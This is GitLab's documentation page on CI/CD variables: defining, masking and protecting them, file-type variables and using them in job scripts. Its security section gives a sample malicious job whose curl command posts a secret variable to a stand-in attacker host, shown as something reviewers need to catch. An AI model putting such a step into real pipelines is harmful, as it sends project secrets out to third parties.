index.md

stage: Verify
group: Pipeline Security
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://handbook.gitlab.com/handbook/product/ux/technical-writing/#assignments

GitLab CI/CD variables (FREE ALL)

CI/CD variables are a type of environment variable. You can use them to:

• Control the behavior of jobs and pipelines.
• Store values you want to re-use.
• Avoid hard-coding values in your .gitlab-ci.yml file.

You can override variable values manually for a specific pipeline, or have them prefilled in manual pipelines.

Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.

To ensure consistent behavior, you should always put variable values in single or double quotes. Variables are internally parsed by the Psych YAML parser, so quoted and unquoted variables might be parsed differently. For example, VAR1: 012345 is interpreted as an octal value, so the value becomes 5349, but VAR1: "012345" is parsed as a string with a value of 012345.

For more information about advanced use of GitLab CI/CD, see 7 advanced GitLab CI workflow hacks shared by GitLab engineers.

Predefined CI/CD variables

GitLab CI/CD makes a set of predefined CI/CD variables available for use in pipeline configuration and job scripts. These variables contain information about the job, pipeline, and other values you might need when the pipeline is triggered or running.

You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first. For example:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

The script in this example outputs The job's stage is 'test'.

Define a CI/CD variable in the .gitlab-ci.yml file

To create a CI/CD variable in the .gitlab-ci.yml file, define the variable and value with the variables keyword.

Variables saved in the .gitlab-ci.yml file are visible to all users with access to the repository, and should store only non-sensitive project configuration. For example, the URL of a database saved in a DATABASE_URL variable. Sensitive variables containing values like secrets or keys should be stored in project settings.

You can use variables in a job or at the top level of the .gitlab-ci.yml file. If the variable is defined:

• At the top level, it's globally available and all jobs can use it.
• In a job, only that job can use it.

For example:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

In this example:

• job1 outputs Variables are 'A global variable' and 'A job variable'
• job2 outputs Variables are 'A global variable' and ''

Use the value and description keywords to define variables that are prefilled for manually-triggered pipelines.

Skip global variables in a single job

If you don't want globally defined variables to be available in a job, set variables to {}:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

Define a CI/CD variable in the UI

Sensitive variables like tokens or passwords should be stored in the settings in the UI, not in the .gitlab-ci.yml file. Define CI/CD variables in the UI:

• For a project in the project's settings.
• For all projects in a group in the group's setting.
• For all projects in a GitLab instance in the instance's settings.

Alternatively, these variables can be added by using the API:

• With the project-level variables API endpoint.
• With the group-level variables API endpoint.
• With the instance-level variables API endpoint.

By default, pipelines from forked projects can't access the CI/CD variables available to the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork, all variables become available to the pipeline.

For a project

• Introduced in GitLab 15.7, projects can define a maximum of 200 CI/CD variables.
• Updated in GitLab 15.9, projects can define a maximum of 8000 CI/CD variables.

You can add CI/CD variables to a project's settings.

Prerequisites:

• You must be a project member with the Maintainer role.

To add or update variables in the project settings:

1. Go to your project's Settings > CI/CD and expand the Variables section.
2. Select Add variable and fill in the details:
   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: No limitations.
   • Type: Variable (default) or File.
   • Environment scope: Optional. All, or specific environments.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags.
   • Mask variable Optional. If selected, the variable's Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

After you create a variable, you can use it in the pipeline configuration or in job scripts.

For a group

• Support for environment scopes introduced in GitLab Premium 13.11
• Introduced in GitLab 15.7, groups can define a maximum of 200 CI/CD variables.
• Updated in GitLab 15.9, groups can define a maximum of 30000 CI/CD variables.

You can make a CI/CD variable available to all projects in a group.

Prerequisites:

• You must be a group member with the Owner role.

To add a group variable:

1. In the group, go to Settings > CI/CD.
2. Select Add variable and fill in the details:
   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: No limitations.
   • Type: Variable (default) or File.
   • Environment scope Optional. All, or specific environments. (PREMIUM ALL)
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
   • Mask variable Optional. If selected, the variable's Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

The group variables that are available in a project are listed in the project's Settings > CI/CD > Variables section. Variables from subgroups are recursively inherited.

For an instance (FREE SELF)

• Introduced in GitLab 13.0.
• Feature flag removed in GitLab 13.11.

You can make a CI/CD variable available to all projects and groups in a GitLab instance.

Prerequisites:

• You must have administrator access to the instance.

To add an instance variable:

1. On the left sidebar, at the bottom, select Admin Area.
2. Select Settings > CI/CD and expand the Variables section.
3. Select Add variable and fill in the details:
   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: In GitLab 13.3 and later, the value is limited to 10,000 characters, but also bounded by any limits in the runner's operating system. In GitLab 13.0 to 13.2, the value is limited to 700 characters.
   • Type: Variable (default) or File.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
   • Mask variable Optional. If selected, the variable's Value is not shown in job logs. The variable is not saved if the value does not meet the masking requirements.

CI/CD variable security

Code pushed to the .gitlab-ci.yml file could compromise your variables. Variables could be accidentally exposed in a job log, or maliciously sent to a third party server.

Review all merge requests that introduce changes to the .gitlab-ci.yml file before you:

• Run a pipeline in the parent project for a merge request submitted from a forked project.
• Merge the changes.

Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them.

The following example shows malicious code in a .gitlab-ci.yml file:

accidental-leak-job:
  script:                                         # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job, all variables containing sensitive information should be masked in job logs. You can also limit a variable to protected branches and tags only.

Alternatively, use the GitLab integration with HashiCorp Vault to store and retrieve secrets.

Malicious scripts like in malicious-job must be caught during the review process. Reviewers should never trigger a pipeline when they find code like this, because malicious code can compromise both masked and protected variables.

Variable values are encrypted using aes-256-cbc and stored in the database. This data can only be read and decrypted with a valid secrets file.

Mask a CI/CD variable

Introduced in GitLab 13.12, the ~ character can be used in masked variables.

WARNING: Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. The masking feature is "best-effort" and there to help when a variable is accidentally revealed. To make variables more secure, consider using external secrets and file type variables to prevent commands such as env/printenv from printing secret variables.

You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs.

Prerequisites:

• You must have the same role or access level as required to define a CI/CD variable in the UI.

To mask a variable:

1. In the project, group, or Admin Area, go to Settings > CI/CD.
2. Expand the Variables section.
3. Next to the variable you want to protect, select Edit.
4. Select the Mask variable checkbox.
5. Select Update variable.

The method used to mask variables limits what can be included in a masked variable. The value of the variable must:

• Be a single line.
• Be 8 characters or longer.
• Not match the name of an existing predefined or custom CI/CD variable.

Additionally, if variable expansion is enabled, the value can contain only:

• Characters from the Base64 alphabet (RFC4648).
• The @, :, ., or ~ characters.

Different versions of GitLab Runner have different masking limitations:

Version	Limitations
v14.1.0 and earlier	Masking of large secrets (greater than 4 KiB) could potentially be revealed. No sensitive URL parameter masking.
v14.2.0 to v15.3.0	The tail of a large secret (greater than 4 KiB) could potentially be revealed. No sensitive URL parameter masking.
v15.7.0 and later	Secrets could be revealed when CI_DEBUG_SERVICES is enabled. For details, read about service container logging.

Protect a CI/CD variable

You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on protected branches or protected tags.

Merged results pipelines, which run on a temporary merge commit, not a branch or tag, do not have access to these variables. Merge request pipelines, which do not use a temporary merge commit, can access these variables if the branch is a protected branch.

Prerequisites:

• You must have the same role or access level as required to define a CI/CD variable in the UI.

To set a variable as protected:

1. Go to Settings > CI/CD in the project, group or instance Admin Area.
2. Expand the Variables section.
3. Next to the variable you want to protect, select Edit.
4. Select the Protect variable checkbox.
5. Select Update variable.

The variable is available for all subsequent pipelines.

Use file type CI/CD variables

All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file are "variable" type (variable_type of env_var in the API). Variable type variables:

• Consist of a key and value pair.
• Are made available in jobs as environment variables, with:
  • The CI/CD variable key as the environment variable name.
  • The CI/CD variable value as the environment variable value.

Project, group, and instance CI/CD variables are "variable" type by default, but can optionally be set as a "file" type (variable_type of file in the API). File type variables:

• Consist of a key, value, and file.
• Are made available in jobs as environment variables, with:
  • The CI/CD variable key as the environment variable name.
  • The CI/CD variable value saved to a temporary file.
  • The path to the temporary file as the environment variable value.

Use file type CI/CD variables for tools that need a file as input. The AWS CLI and kubectl are both tools that use File type variables for configuration.

For example, if you are using kubectl with:

• A variable with a key of KUBE_URL and https://example.com as the value.
• A file type variable with a key of KUBE_CA_PEM and a certificate as the value.

Pass KUBE_URL as a --server option, which accepts a variable, and pass $KUBE_CA_PEM as a --certificate-authority option, which accepts a path to a file:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

WARNING: Be careful when assigning the value of a file variable to another variable in GitLab 15.6 or older. The other variable takes the content of the file as its value, not the path to the file. In GitLab 15.7 and newer, this behavior was fixed and the other variable now takes the path to the file as the value.

Use a .gitlab-ci.yml variable as a file type variable

You cannot set a CI/CD variable defined in the .gitlab-ci.yml file as a file type variable. If you have a tool that requires a file path as an input, but you want to use a variable defined in the .gitlab-ci.yml:

• Run a command that saves the value of the variable in a file.
• Use that file with your tool.

For example:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

Use CI/CD variables in job scripts

All CI/CD variables are set as environment variables in the job's environment. You can use variables in job scripts with the standard formatting for each environment's shell.

To access environment variables, use the syntax for your runner executor's shell.

With Bash, sh and similar

To access environment variables in Bash, sh, and similar shells, prefix the CI/CD variable with ($):

job_name:
  script:
    - echo "$CI_JOB_ID"